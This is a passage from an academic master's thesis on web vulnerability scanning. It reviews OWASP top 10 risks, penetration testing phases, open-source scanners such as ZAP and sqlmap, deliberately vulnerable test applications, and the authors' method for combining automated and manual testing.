supplied material such as images or comments, which will then be executed by any browser
which attempts to display the content [23].
Reflected XSS describes attacks in which the malicious code is provided by a client and
then reflected from the server back to the client’s browser, which executes it. The XSS re-
quires the input to be part of the response, which often means that error messages or search
results are used as attack vectors. Attacks generally involve tricking the victim to do this to
themselves through links or similar means [10], [23], [24].
DOM Based XSS vulnerabilities exist within the DOM (Document Object Model), rather
than the actual HTML. The primary difference from the other types of XSS is that the HTML
source code and responses are completely unchanged, making detection and prevention more
difficult. As the malicious parts of the code is never sent to the server, server-side filtering
also has no effect [25].
Many automatic tools are equipped with capabilities of detecting the possibility for per-
forming XSS attacks, making such detection quite suitable for automation [13], [26]. Manual
analysis, while applicable, will generally be considerably less effective.

Detecting XSS vulnerabilities is fairly straight-forward through penetration testing. Once po-
tential insertion points are identified, vulnerabilities can often be confirmed non-intrusively
by attempting to insert basic special characters such as < or > [10].
To prevent XSS there are, according to Jeremiah Grossman, several methods [24]. Of these,
the most common is to filter or block user input [24]. It should be noted that error messages
resulting from blocking invalid user input could itself become an attack vector for XSS, for
example if the input is incorporated into the response. Filtering input is often preferred for
its relative simplicity, but has its own set of issues, as it can often be circumvented. As with
many other types of input handling, whitelisting is preferable to blacklisting.
On an architectural level, OWASP [5] recommends a basic separation of verified and un-
verified application content, through frameworks, escaping or context-sensitive encoding.
8 - Insecure Deserialization (ID)

If applications deserialize objects supplied by users, they may have been written/modified by
an attacker, potentially altering user rights or tampering with other aspects of the application
[5].
For example, as shown by Charlie Lai [27], Java classes inheriting from the standard Java
interface Serializable, generally allows objects to be created from serialized streams, avoiding
any checks that are part of the class’s constructor, potentially allowing malicious objects to be
instantiated within an application.
8

According to OWASP themselves, the only way to be truly safe from insecure deserialization
is to simply not deserialize any user-submitted objects, except from trusted sources (white-
listing)[5]. Secondary solutions include requiring digital signatures, which would be applied
as part of legitimate and approved serialization methods, or isolating the deserialization pro-
cess from sensitive or important systems.
Automation, while somewhat applicable for this type of vulnerability, has limited uses.
Tools may search for patterns implying serialized objects, or probe the application with its
own serialized objects, but generally require some degree of specific source-code knowledge
[13].
9 - Using Components with Known Vulnerabilities (UCwKV)

The use of components with known vulnerabilities in applications implies that the system
as a whole has the same vulnerabilities as the component, as they are often running with
the same levels of privilege as the application itself [5]. For the same reasons, attacks using
such vulnerabilities may be vulnerable in spite of existing security measures, which might be
bypassed by the privileged components [10].
A study by Inoue et al. [28], which included a total of 123 open-source projects using one
or more of three chosen libraries, showed that 84 (68.3%) used outdated versions of these
libraries, potentially exposing them to various vulnerabilities. This would imply that, at least
for small-scale projects, the issue of vulnerable components is fairly common.

Preventing exposure to known vulnerabilities of used components is largely centered on
choosing components, and handling them properly. Avoiding the use of third-party com-
ponents to the extent possible, only using components that are truly needed, and making
sure that they are kept up-to-date at all time are some basic mitigation methods [5]. Auto-
mated scanners can be used to map specific components to certain known vulnerabilities,
but access to a database with all vulnerabilities cannot be expected, limiting the usefulness
of automated mapping [13]. Presuming the existence of documentation of used components
and their version numbers, manually checking them against vulnerability databases or their
own respective documentation regularly is necessary to ensure continued security. If possi-
ble, use of third-party components should be avoided, or limited to cases where they provide
considerable business value.
10 - Insufficient Logging and Monitoring (IL&M)

Lack of sufficient logging and monitoring will likely increase the time to detect when some-
thing has gone wrong, thereby delaying reactive countermeasures and damage control.
Events to log and monitor can be either intended or unintended behaviors that need reac-
tive controls. Lack of a correctly configured Intrusion Detection System (IDS) to monitor the
logs will make this problem increasingly severe [5].

Insufficient logging and monitoring is stated as a vulnerability that is impossible to detect
automatically [13], since a detection system could monitor a web application from a remote
server. Therefore, when attempting to verify the quality of logging and monitoring processes,
one first needs to ask the system administrator whether a detection system exists at all.
Logs can reduce detection time of an attack or an intrusion. Such intrusions may not be
the actual attack itself, but general vulnerability probing in preparation for a more substantial
9
Table 2.1: Log States

State Description
Normal Normal user behavior.
Alert Something has diverged from the normal site, such as a series of failed log in
attempts.
Incident Something is not working as intended, potentially disrupting the service.
Critical Something critical has changed, like root privileges or root commands, either
with malicious intent or accidentally.
breach [5]. If the detection system is properly configured, the time to detect a breach will
almost be infinitesimal.
However, logs on their own are not enough to reduce detection time, as proper monitor-
ing tools are also needed. A monitoring tool will have the logs as an input and then categorize
them into different states, notifying the operator when there is actually something that needs
to be taken care of. Possible types of states, as defined by the European Commission Infor-
mation System Security Policy [29] are shown in table 2.1.
Preferably, logging should be performed consistently across all aspect of an application,
an organization, or even an entire industry, to ease analysis between instances. However, it
is important to note that the quality of this system is not guaranteed just by its presence.
NIST, the National Institute of Standards and Technology, has presented a Guide to Com-
puter Security Log Management [30] where they propose a four-step process, which admin-
istrators should follow for the system which they are responsible for:
• Configure the log sources, including log generation, storage and security.
Depending on organizational policies, administrators must decide what compo-
nents of their host systems should be part of the logging infrastructure. Log
sources must be coupled to their respective logs, and the particular data to be
logged for each type of event. It is prudent to limit logging to interesting events,
given that the logs may otherwise grow excessively large. In addition to this, the
storage of entries must be formalized, as different events may be suitable to store
for longer periods of time, or in different systems altogether.
• Perform analysis of log data.

In order to make any use of the logs, the administrators need to obtain a good grasp
of the logs. For this to be as simple as possible, the logs need to be constructed in an
good way, providing enough context and clarity to be easily understood. Entries
should be prioritized according to time of day of occurrence, frequency, log source,
and other factors, and marked as interesting for different levels of the application
when applicable.
• Initiate appropriate responses to identified events.

When analyzing logs, there must be procedures in place to identify the need for
response. Administrators should not only make sure that such procedures are in
place, but also be ready to assist in the efforts.
• Manage the long-term storage of log data.

Some data may be necessary to store for long periods of time, perhaps even for
several years. In such cases, additional factors must be taken into consideration.
The data logs must have a format decided for such storage, storage devices must
be chosen, and the method of storage, regardless of technical details, must be phys-
ically secure.
10
3 Penetration Testing
Penetration testing, the process of simulating attacks on a system in order to detect any po-
tential vulnerabilities, and usually confirm their existence by exploiting them (penetrating the
system), is a common technique throughout the industry. The InfoSec Institute [10] defines
the process as having four phases, each of which is expanded upon below:
• Information Gathering
• Vulnerability Testing
• Risk Assessment
• Reporting
Many other methodologies exist, such as those presented by OWASP in their testing guide
[31], which also goes into considerably greater technical detail, but the general outline of the
penetration testing methodology does not deviate much from the InfoSec Institute’s descrip-
tion.
3.1 Information Gathering

The information gathering phase of penetration testing consists primarily of a manual review
of the application and its environment. To be able to understand how a specific web appli-
cation operates and what kind of vulnerabilities might exist, such reviews are a crucial part
of the initiation phase of the penetration testing [2], [10]. A manual reviewer, as opposed to
an automated tool, has the advantage of being able to have concepts and design decisions
explained to them, to better identify and assess potential security concerns [31]. Solving such
problems requires a great deal of flexibility and knowledge, something which automated
systems would struggle to handle [32].
The review may generally investigate matters such as the verification of the established
application requirements, the information classification, the security- and logging policy and
the risk analysis. These activities make it possible to detect logical vulnerabilities and to iden-
tify vulnerabilities such as insecure deserialization and insufficient logging and monitoring,
before any resources have been spent on intrusive testing.
11
3.2. Vulnerability Testing
While the review should include documentation, policies, requirements and other non-
code circumstances, one of the core activities is the actual source code review [31]. For this
purpose, implementing some manner of automation often saves considerable time and effort.
Specifically, Biffl et al. [33] point out the worth of automation in cases of large code bases, and
looking for simple and recurring problems relating to code quality itself. Still, as automatic
tools are unable to independently surmise the intent of any particular piece of code, they
cannot reliably identify flaws within the design, and is likely to result in large amounts of false
positives. Even though it may find security issues based on coding errors, manual review will
always be necessary [31], [34].
The review also allows the reviewer to get a comprehensive idea of how the web appli-
cation works and understand what parts may be of particular interest for further analysis.
The primary areas of interest for the reviewer should be the same as for a potential attacker.
Regarding many of the more organizational vulnerabilities, a basic rhetorical survey may be
enough to detect them, including questions like: Is there a correctly configured Web Appli-
cation Firewall in place? Are the activities within the web application being logged? Does it
seem like the web application has client-server requests being sent to a database? What type
of database is being used?
Such surveys would generally be a good and inexpensive first step, in preparation for the
planning of more complex analysis and mitigation.
3.2 Vulnerability Testing

During the vulnerability testing phase, the penetration tester investigates the system while
it is running, attempting to identify vulnerabilities, generally by applying various exploits.
While the manual review will have provided guidance towards some of the existing vul-
nerabilities, there is a large degree of experimentation involved in vulnerability testing [2].
Initially, focus should be on mapping all available paths and points of interaction. Perform-
ing such mapping manually may provide great insight into potential flaws and exploits, but
it can become unwieldy for larger applications [10].
To mitigate this issue, tools can be used to automate the process, either partially or com-
pletely. Relevant features to support the dynamic analysis include intercepting proxies, man-
ual request editors, fuzzers, crawlers and active/passive scanners.
An intercepting proxy is located between a user and the internet. During malicious attacks,
the user/client would not normally be aware of the proxy, but the client/server communi-
cation is being intercepted. The proxy can then perform actions, including redirection, input
modification, or simply logging the communication [35].
Manual request editors can make requests to specific targets at any time with desired pa-
rameters. They are also capable of modifying parameters of current requests, potentially
bypassing front end validation.
A fuzzer is a black-box functionality commonly included in vulnerability tools, which al-
low an attacker to submit illegitimate data to a target, in desire to find an exploitable vul-
nerability. Irrelevant data could include all sorts of basic SQL-injection code, XSS-scripts and
common passwords [36]. This malicious input is often supplied in a high-speed brute-force
fashion, though application-specific knowledge may allow for the input types to be specifi-
cally chosen, depending on the suspected vulnerability.
A crawler works by crawling web pages of a website to map resources, using existing
hyperlinks. Benefits include a faster and more extensive mapping process than a regular
manual mapping and the possibility to find hidden resources that are not meant to be public.
This type of feature is a common type of automated scan, and is often a basic feature of web
scanners.
An active scanner will scan a website and perform common attacks on the website trying
to find potential vulnerabilities. Active scanners suffer when there is dynamic content in live
12
3.3. Risk Assessment
Figure 3.1: Risk Severity
applications, such as if user supplied content is added or modified during scanning. In such
cases, the scanner will likely give a report of limited accuracy.
A passive scanner, on the other hand, is used to monitor requests and responses without
modifying them. This causes considerably less strain on network capabilities, while still al-
lowing for a lot of information to be gathered [37]. Drawbacks to such scanners concern the
lack of thoroughness and accuracy, as it is inherently limited to observing existing traffic.
Unfortunately, black-box penetration testing cannot be guaranteed or even expected to
find all security flaws, even those that may be obvious upon manual source code analysis. In
addition to this, automated scanners can only detect the existence of known vulnerabilities,
and has no capabilities to detect operational or procedural issues [34].
Moreover, verification of any identified potential vulnerabilities is an important part of
vulnerability scanning and must be performed manually. There is considerable risk for any
automated system to issue alerts and warnings due to issues that do not actually present
any vulnerability or issue worth considering for mitigation. While relevant in many fields of
study, the issue of false positives is of particular interest to this field and must be taken into
consideration [38].
3.3 Risk Assessment

Not all findings from a vulnerability test are necessarily relevant to the specific evaluated web
application, or cause enough damage to business values to motivate taking action against. A
risk assessment must be done in order to decide which findings are relevant to the studied
web application and to decide what risk level each finding has [10]. One method for deter-
mining the severity of a specific risk is to estimate the likelihood of an attack and the expected
impact, rating them as either low, medium or high, and rating the result in accordance with
the severity levels shown in figure 3.1 [10].
3.4 Reporting
A well written report of the findings of each studied web application is desired. The report
should contain the list of found vulnerabilities, the severity and the likelihood of each vul-
nerability to occur and be sorted in a prioritizing order. Moreover, it needs to clearly give a
list of relevant readings as well as a description on how to mitigate each vulnerability [10].
13
4 Existing Tools, Methods and
Environments
Different types of vulnerabilities require different approaches to detect and mitigate. To aid
with this, a variety of tools and methods are available, as well as specifically constructed
environments against which to test them.
4.1 Methods of Analysis

Industry experts [39] point out different issues as being applicable for different types of anal-
ysis, such as by differentiating between logical and technical vulnerabilities. Technical vul-
nerabilities refer to issues best found by automated systems, as they are rule-intensive and
time-consuming. Examples include scanning for potential injection points via HTML-forms
or other user input. Logical vulnerabilities, on the other hand, generally concern design
choices, such as what data is passed via URLs, or what data is stored by the application.
These logical vulnerabilities generally require human analysis to identify.
Within the industry, companies are generally promoting automated systems for vulnera-
bility scanning as an alternative to or even replacement of manual penetration testing [40],
[41].
Nevertheless, methods of analysis depend on the specific type of task being performed.
Just as other areas of analysis, vulnerability scanning have mainly two types, static and dy-
namic analysis [33], [38], [42].
Static analysis of software refers to the act of checking whether some piece of software
matches a set of requirements, without executing the software in question.
Dynamic analysis, in turn, is performed during run-time, observing how the system be-
haves when interacted with, often in explicitly malicious or otherwise non-standard ways, as
described by Arkin et al. [42]. They also point out the efficient use of automated tools doing
the grunt work, but that it cannot be fully reliable without a skilled security analyst. While
dynamic analysis and penetration testing is widely used by many companies as the primary,
if not the only, approach to test security, this does not provide complete safety from all vul-
nerabilities [31]. Unless external circumstances prevent it, security analysis should always
contain a mixture of many techniques and methods.
For these different types of analysis, different tool features are required. A feature could be
capable of operating in both automatic and manual environments, or in only one of the two.
14
4.2. Vulnerability scanning requirements
Through the types of analysis, individual tool features can further be mapped to relevant
vulnerabilities, to verify the extent of the coverage.
4.2 Vulnerability scanning requirements

Relevant requirements to choose vulnerability scanners for the comprehensive methodology
are presented below.
FedRAMP
FedRAMP, the Federal Risk and Authorization Management Program, is an American gov-
ernmental program which provides standardization of security measures for cloud-based
products and services.
Their mission is to raise the quality of governmental IT infrastructure by moving from
insecure legacy system to modern cloud-based ones. By providing an authorization program
to private cloud service providers, other American agencies can trust those CSPs to provide
high quality cloud-based IT solutions.
In order to maintain high quality, as a part of their business practices, they require that
Cloud Service Providers (CSPs) identify and apply security evaluation tools for three distinct
categories: Operating System and Networks, Databases, and Web Applications [43]. They
require CSPs to perform these scans monthly and submit the reports to authorization officials
at FedRAMP. These reports are critical, as they allow FedRAMP to continuously monitor the
state of the CSP’s systems.
For the reports to fulfill their purpose, FedRAMP has set up a list of requirements for
vulnerability scanners, as shown below:
• Authenticated/credential Scans
Scans must be performed with full access credentials, as a lack thereof is likely to
produce limited results.
• Enable all Non-destructive Plug-ins

Scanners must scan all findings, including add-ons and plug-ins.
• Full System Boundary Scanning

Scans must include any and all components that are part of the system.
• Scanner Signatures Up to Date

Scanners must be continuously maintained with current versions of vulnerability
data, as well as being updated themselves.
• Provide Summary of Scanning

Each scan report must be complete with various data, including what ob-
jects/components have been scanned, what specific tools were used, and scanner
settings.
• POA&M All Findings

All findings must be noted in a Plan of Action and Milestones, until the vulnera-
bility has been dealt with. [43]
Several points in the above list are corroborated by other similar requirement guidelines.
For example, A Hong Kong Government Vulnerability Scanners Overview [34] points out
the importance of vulnerability scanners being frequently updated. It also makes note of the
potential for overlapping instances of the same vulnerability, and the need for consistent and
well-structured scan reports. Similarly, Netsparker [44] point out that if there are parts of the
15
4.3. Existing Tools
web application that require authentication of any type to access, scanners should be able to
not only investigate the authenticating mechanism, but also be possible to configure to log in
automatically and test the application components it is protecting.
Experienced Penetration Testers

In addition, experienced penetration testers prioritize configurability of tools as an important
factor [45]. While focused tools are often optimized for their particular purposes, being able
to modify and add features creates flexibility.
Another requirement of note is the cost factor [9]. Smaller businesses often do not have
the resources to buy licences for state-of-the-art penetration testing tools, which can range
between a few hundred dollars per year to tens of thousands, depending on the amount of
licences required1,2,3,4 .
4.3 Existing Tools

The market for automated vulnerability scanning software is already well established, and
white papers from companies selling such services, including Beyond Security [40] and the
for-profit SANS Institute [41], present many benefits of using them.
Independent research, however, points out that while automated vulnerability services
are indeed useful and being continuously improved, there is still a need for a skilled operator
to sort out the false positives and to know how to prioritize the identified vulnerabilities [6].
Below, such services and tools are listed and described.
Zed Attack Proxy

Zed Attack Proxy (ZAP)5 was developed based on the OWASP guidelines. It is marketed
as a beginner’s product, supporting both automated services and manual security testing.
It includes a variety of features, including active and passive scanner, an intercepting proxy
and manual request editor, a port scanner and a fuzzer [14].
Burp Suite Community Edition

Burp Suite Community Edition6 is a free edition of the commercial Burp Suite, including
essential manual tools, though not the advanced set nor the vulnerability scanner. In an
evaluation concerning The Web Application Security Scanner Evaluation Criteria (WASSEC)
the full version performed top three out of 13 web application scanners [46].
Sqlmap
The open source sqlmap7 performs automatic detection scans for SQL injection flaws in spe-
cific URLs and provides tools for exploiting these same flaws. It includes support for a num-
ber of techniques, including stacked queries, time-based blinds and error-based attacks, as
well as dictionary attacks on automatically identified hashed passwords, among other fea-
tures. While lacking any automated crawling capabilities, the specific features allow sqlmap
to be used as an effective verification and exploitation tool [47].
1 Netsparker Pro: https://www.netsparker.com/pricing/
2 Acunetix: https://www.acunetix.com/ordering/
3 Detectify: https://detectify.com/pricing
4 Nstalker: http://www.nstalker.com/buy/
5 ZAP: https://github.com/zaproxy/zaproxy
6 Burp Suite: https://portswigger.net/burp
7 Sqlmap: http://sqlmap.org/
16
4.4. Related Works: Tools being tested against special environments
Table 4.1: Scanners and OWASP top 10 vulnerability mapping as claimed by each scanner’s
documentation
I BA SDE XXE BAC SM XSS ID UCwKV IL&M
Vega X X X X X X
ZAP X X X X X X X
Arachni X X X
Sqlmap X X X
IronWasp X X X X X X X
Wapiti X X X X
BurpSuite CE X X
IronWASP
The IronWASP8 (Iron Web application Advanced Security testing Platform) framework can
be used for vulnerability scanning of web applications for a variety of well known vulner-
abilities. It gives fairly detailed reports of the found errors and is capable of detection of
false positives/negatives. In a test [48] run, against the WackoPicko9 web application, it was
able to detect the most vulnerabilities of the subject scanners, which included OWASP ZAP,
IronWASP and Vega.
Vega
Vega10 is capable of assisting with the detection and validation of SQL Injection, XSS, among
other vulnerabilities and threats. It is still in development and does not support post-
authentication scanning in its current version (1.0) [48].
Arachni
The Arachni11 web application security scanner framework is a combined crawler and pen-
etration testing tools, checking for a variety of common vulnerabilities, including Injection,
XXS and XXE, among many other issues. It is also capable of detecting and adapting to
dynamic changes during path traversal, which is not a common feature in scanners [49].
Arachni has two versions, one with a graphical user interface (GUI) and one with execution
from command line.
Wapiti
The web-application vulnerability scanner Wapiti12 is designed for purely black-box scanning
through crawling, attempting to discover a variety of types of injection flaws through fuzzing
[50].
4.4 Related Works: Tools being tested against special environments

In general, research within the field of automatic vulnerability scanning is comprised of com-
parisons between existing tools and frameworks. They are almost exclusively academic, and
rarely discuss matters of practicality, instead focusing on structured testing in specifically de-
signed environments. Given the potential security risks involved, real life industry method-
ology and processes are rarely made public.
8 IronWASP: https://ironwasp.org/index.html
9 WackoPicko: https://github.com/adamdoupe/WackoPicko
10 Vega: https://subgraph.com/vega/
11 Arachni: http://www.arachni-scanner.com/
12 Wapiti: http://wapiti.sourceforge.net/
17
4.5. Existing Methods
The paper Why Johnny Can’t Pentest: An Analysis of Black-Box Web Vulnerability
Scanners [26] from 2010 describes the testing of 11 scanners, three of which were open-source,
against the vulnerable application WackoPicko, which was specifically constructed for this
experiment. It was found that, at the time, none of the scanners were able to find even half
of the vulnerabilities, while a group of students described as being of "average" skill were
able manually to find all but one. The limited performance of the scanners was concluded
to be due to a small set of critical limitations. Foremost of these limitations is the scanner’s
general inability to detect logical vulnerabilities and great difficulties in performing multi-
step attacks. In addition, they were unable to access parts of the application that required
authorization.
In the years following the above study, the field was studied further, generally coming to
similar conclusions, such as Antunes and Vieira [51], who performed a study on four scan-
ners, three of which were commercial. That study reports that even when used together,
these four scanners were only able to collectively find less than a third of the known vulner-
abilities, compared to a group of experts who were able to manually identify 98%. Notably,
they also show a considerable amount of false positives, with over half of the vulnerabilities
reported by two of the scanners not actually being considered valid. They use this to point
out that trusting automated scanners is likely to result in large amounts of work being put
into solving problems that do not actually pose any threat, or possibly do not exist at all. As
such, neither the coverage nor the precision of available tools were found to be satisfactory,
nor able to compare to human expertise.
Alsaleh et al. [52] point out that, based on their testing of four scanners, there was no-
ticeable discrepancy between the results that were reported, even when performance levels
were similar, pointing out a lack of comprehensive studies on the subject. While generally
satisfied with the quality of the tools’ respective user interfaces, they make note of question-
able crawler coverage, as well as the accuracy, speed, and false positive rates being little more
than "acceptable".
In the master’s thesis of David A. Shelly, Using a Web Server Test Bed to Analyze the
Limitations of Web Application Vulnerability Scanners [53], a method for evaluating the
effectiveness of automatic vulnerability scanners is presented. It used a specifically modi-
fied environment in two versions (secure and insecure) to test six scanners, primarily focus-
ing on the analysis of false negatives and false positives. Interestingly, it is found that even
vulnerabilities normally considered very suitable for automation, such as basic form-based
SQL-injection and reflected XSS vulnerabilities, have quite low detection rates, averaging at
59.7% and 43.3% respectively. For less simple vulnerabilities, the scanners were found to be
far from sufficient. Interestingly, regarding false positives, it was found that many such cases
were caused by duplicate reports, rather than truly incorrect results. While false positives
were generally not deemed very common, it was speculated that this was strongly correlated
with a generally limited capability of the scanners to find vulnerabilities at all, whether they
were actually present or not.
4.5 Existing Methods

Some vulnerabilities are difficult to detect with automated tools, instead requiring the use of
various manual techniques. Some such methods are described below.
Manual Crawling
An automated spider crawl is likely to add irrelevant URLs to its findings, especially in the
case of large scale web applications. Occasionally, some URLs are also considered irrelevant
due to specific scope restrictions having been set for the penetration testing. Tools like Burp-
Suite have the feature to detect URLs from a manual browse, helping the operator to optimize
run-time and vulnerability findings of e.g. active scanners.
18
4.6. Existing Environments
Logical Flaws
Logical flaws are not generally something an automated tool is able to detect [13]. For exam-
ple, if a discount code is either possible to enroll multiple times or modify, it is considered to
be a logical flaw which a human penetration tester easily could detect.
Many of the logical vulnerabilities require creative thinking to detect and exploit. As
two penetration testers have stated in separate interviews performed as part of this thesis,
penetration testing can be considered to be as much of an artform as a technical skill [2], [9].
Vulnerability Verification
Whenever a vulnerability is suspected to exist, whether because of having been reported by
scanners or through intuition, they must be thoroughly verified to exist before being eligible
to be reported. Oftentimes, the most practical way to do this would be to perform the appro-
priate attack. The specific methods are as varied as the vulnerabilities they exploit, and may
be performed with or without tools, depending on the situation.
4.6 Existing Environments

The following applications were chosen for use in the testing of various tools and methods.
With the exception of Bila Nu, Presentshoppen and OrangeHRM, they were deliberately de-
signed for such testing.
DVWA
The Damn Vulnerable Web Application (DWVA)13 is a deliberately vulnerable web appli-
cation intended primarily for educational penetration testing, both manual and tool-based.
The application contains ten sets of vulnerabilities (each with three difficulty levels), includ-
ing Broken Authentication, SQL injections and XSS attacks. DVWA has seen some use in
academic research on the subject of vulnerability testing, such as by Lebau et al. [54], who
attempted to automate model-based vulnerability testing of web applications.
OWASP Bricks
OWASP Bricks14 , a currently inactive project, is a small set of specific vulnerability exercises.
Totalling 13, the "Bricks" are divided into "Login", "File Upload" and "Content", focusing on
various forms of code injection.
WACKOPICKO
As part of a paper on automated penetration testing [26], the WACKOPICKO application
was constructed for the purpose of creating a completely known list of vulnerabilities against
which to measure scanner results. It attempts to mimic a real web application, with user cre-
ation, user submitted content (including image files) and other similar features. As a result,
it has a range of different vulnerabilities in naturally occurring environments.
Peruggia
Peruggia15 is described as a web application environment intended for basic educational pur-
poses, allowing its users to apply basic attacks on a realistic application. The web application
is small and one-man developed but has not been updated since 2015 at the time of writing.
13 DVWA: http://www.dvwa.co.uk/
14 Bricks:
https://www.owasp.org/index.php/OWASPB ricks
15 Peruggia: https://sourceforge.net/projects/peruggia/
19
4.6. Existing Environments
Table 4.2: Environment-Vulnerability mapping

I BA SDE XXE BAC SM XSS ID UCwKV IL&M
DVWA X X X X X X
OWASP Bricks X X X
WACKOPICKO X X X X X X
Peruggia X X X X X X
OrangeHRM X X X X X X
OrangeHRM
OrangeHRM16 is a continuously updated open-source Human Resources management ap-
plication, which is not in any way intended to be vulnerable. Old versions of the software
is, however, still available, complete with vulnerabilities that have been patched out in the
current version.
Bila Nu & Presentshoppen

For their respective Bachelor’s theses, the authors of this master’s thesis took part in the
development of two separate single page web applications, Bila Nu and Presentshoppen.
They were constructed with minimal focus on security, but using well established python
and JavaScript libraries and frameworks such as Flask and SQLAlchemy, making them very
interesting to test against.
16 OrangeHRM: https://www.orangehrm.com/
20
5 Method
In this chapter, the methods used for creating the complete vulnerability scanning method-
ology is described. This includes the process of the literature study, the creation of the re-
quirements, and the testing and evaluation of automated and manual vulnerability scanning
methods. Finally, the design, construction and verification of the comprehensive methodol-
ogy, including the underlying logic, is presented.
5.1 Literature study

In order to form an understanding of the subject at large, find relevant tools and methods to
use, as well as to be able to define suitable requirements, a literature study was conducted.
Primary subjects of interest included existing vulnerability scanning tools and methods,
existing environments for evaluating these same tools and methods, a basis for effectiveness
requirements, notable existing vulnerabilities (including their respective mitigation and de-
tection techniques), as well as the differences between the respective applicability of manual
and automated vulnerability analysis.
These subjects were split into two categories: Practical industry phenomena, and primar-
ily academic subjects.
For the more academic subject, such as the general applicability of automation, peer-
reviewed scientific sources were found by searching journal and conference repositories such
as the IEEE Xplore Digital Library and publishing houses like Springer Link, mainly through
aggregate search engines like Google Scholar and the LiU Digital Library.
To find examples of existing software and methodologies, as well as environments against
which to test them, similar methods were used, though mainly to find white-papers, specific
software documentation and industry blogs related to current industry phenomena. The ac-
tual finding of the software examples was not strictly part of the literature study, but the
literature study was used to provide a better understanding of how well any specific piece
of software can be expected to perform when used to scan different web applications, as an
initial reference point to decide whether they were worth considering for further experimen-
tation.
Regarding the categorization and internal ranking of known vulnerabilities, there were
already established industry standards in place. The OWASP top 10 list, which since its first
version in 2007 has been updated approximately every third year, is often used for similar
21
5.2. Requirements
purposes in other works, both academic and industrial [2]. Due to this, primary focus of this
part of the literature study became to collect data on the definitions of the ten vulnerabilities
included in the November 2017 version of the list. OWASPs prevalence within both academia
and industry, and the community peer-review involved in the creation of its material lends
credibility to its use. In addition to this, the penetration testers who were interviewed as part
of this master’s thesis [2], [9], [45] have all confirmed that it is accurate and provides extensive
coverage of the industry situation.
While OWASP provides detection and mitigation techniques for their top vulnerabilities,
other industry sources present their own methods for many specific vulnerabilities, examples
of which are included in the results of the literature study. These methods have been incor-
porated into this thesis to be applicable individually, or as part of an extensive methodology.
Given the initial choice of combining manual and automatic processes, their respective
applicability for different type of vulnerabilities needed to be ascertained. Given this, the two
methods of analysis, static and dynamic analysis, as described in section 4.1, were used as a
basis alongside the differentiation between automatic and manual analysis, while the general
approach to penetration testing was based on the four-step process described by InfoSec [10].
In order to know the degree of quality of the methodology, relevant scientific methods on
how to verify a methodology needed to be established. While the scope of the thesis did not
allow for thorough application, three suitable techniques were identified: Empirical Valida-
tion, Peer-review and Field Experiments. Each of these techniques are described further in
section 5.6.
Interviews
In connection with the literature study, a number of interviews were performed with experi-
enced penetration testers, in order to confirm or counter the findings of the literature study,
as well as providing new information, and feed-back regarding the general aim and approach
of this master’s thesis. In preparation for the first interview, a set of questions was written
down. The set was primarily focused on the general work structure of professional penetra-
tion testing and the real-world relevance of various concepts which had been encountered
through the literature study. The full set of questions can be seen in table B.
The interviews were performed over distance, with one person asking the majority of the
questions, while the other was responsible for documentation and keeping notes. Following
the interview, the notes were translated and compiled for future referencing. The finalized
notes were sent to the respondent for approval, to make sure that any references made to the
interview would be accurate. The notes are provided in appendix B.
5.2 Requirements
For the purpose of this thesis, requirements are divided up and are considered to be of one of
two types: Effectiveness requirements or Practical requirements. Effectiveness requirements
concern matters of tool effectiveness, such as the degree to which a tool is likely to find the
vulnerabilities it is designed to detect. Practical requirements concern external matters, such
as ease-of-use, run-time, memory allocation, the level of required manual supervision and
interaction, and whether the tools are designed for black- or white-box scanning.
The requirements for both the included tools and the comprehensive methodology
needed to be defined. Since the tools would not be constructed as part of this thesis, the
requirements centered on usability and that they provided a sufficiently detailed report.
The requirements for the comprehensive methodology were based on the vulnerabilities
that were intended to be scanned for, which in turn had been chosen from the risks and
vulnerabilities considered most critical by OWASP [5]. The system was required to be able
to identify and alert the user of the presence of any of the most critical vulnerabilities, rank
them by severity, and provide guidance on mitigation.
22
5.3. Selection, Testing and Evaluation of Tools and Features
In addition, the requirements for the FedRAMP [43] program, as described in section 4.2
were taken into account, where applicable.
5.3 Selection, Testing and Evaluation of Tools and Features

The literature study resulted in a short list of well known open-source or otherwise free-of-
charge tools for web application vulnerability scanning and/or penetration testing. Based
on documentation, 11 of them were chosen for initial testing, with seven being accepted into
the methodology. Many of them included functionality which could be considered fully or
mostly automated. The distinction was defined as an automatic tool or functionality being
one that did not require manual input or analysis beyond preparatory investigation and post-
scan analysis, with limited or no manual input during run-time.
As an example of an edge case, the running of sqlmap on an input form to detect potential
injectable parameters required the specification of the URL in question and a valid input com-
bination for comparison to failed attempts. During run-time, sqlmap would suggest different
courses of action depending on findings, such as ignoring other database configurations once
environmental factors has been deduced, which the users would be required to respond to.
In addition, if the user wished for the tool to access the database and display its contents, or
crack passwords found within it, this would need to be requested. Given the above defini-
tion, the tool was deemed manual for the purposes of this thesis despite the attack itself being
performed by the tool, requiring limited personal knowledge of SQLi exploitation.
The first step to perform when evaluating vulnerability scanners is to run them against
web application with well known and specific vulnerabilities, according to Acunetix [55].
This will not only allow you to get a good idea of the level of accuracy through analysis of
missed vulnerabilities and false positives, but will also greatly limit the risk of disrupting
operations of any actively used applications one might wish to scan [9].
For these reasons, the automatic functionalities were run against a variety of vulnera-
ble web applications from the OWASP Broken Web App virtual machine. The expected
and actual results of the runs were noted down, along with comments regarding software
requirements/dependencies, usability issues, relative run-time, and other relevant observa-
tions. The testing was done over several sessions, starting out with the primary intent of
becoming familiar with the tools, environments and vulnerabilities involved. Once some fa-
miliarity had been achieved, sessions were held during which a number of tools were run
against a single environment, for which the intended vulnerabilities were explicitly known,
allowing for calculation of detection rate, as well as analysis of vulnerabilities that were re-
ported without being represented in the documentation. The specific results for each session
can be found in Appendix A.
Once this had been done, manual attempts were performed against the vulnerabilities
which remained. Several of the tools had both automatic and manual features, in which case
they were counted towards the same coverage, although marked as separate in the statistics.
For the known vulnerabilities of each environment, the tools were marked as either having
identified the issue automatically, having provided some assistance to manual detection, or
as not having been able to do either. For automatic detection, a tool was considered successful
if it identified the URL and basic type of vulnerability and reported it to the user. For manual
assistance, any type of usefulness was considered enough, including proxies being marked
useful for having request editors capable of serving as vectors for various injection-based
attacks.
A successful attempt was also made to identify potential application of direct usage of
larger scale functionalities to identify interest points for more specific analysis with more
specialized tools and methods.
23
5.4. Comprehensive Methodology
5.4 Comprehensive Methodology

Based on the gathered data, the comprehensive methodology was constructed to follow a
basic structure of manual review, vulnerability detection/verification, risk analysis and re-
porting. The actual composition of the comprehensive methodology was primarily agreed
upon through internal discussion based on established work methods found through the lit-
erature study and interviews.
5.5 Design of Interactive Algorithm

The initial idea regarding the structure, application, and implementation of the intended
methodology was founded on use cases based on the business of Secure State Cyber. In
this context, the idea was that an experienced security analyst or penetration tester should
perform a basic mapping of the web application in question, the results of which would be
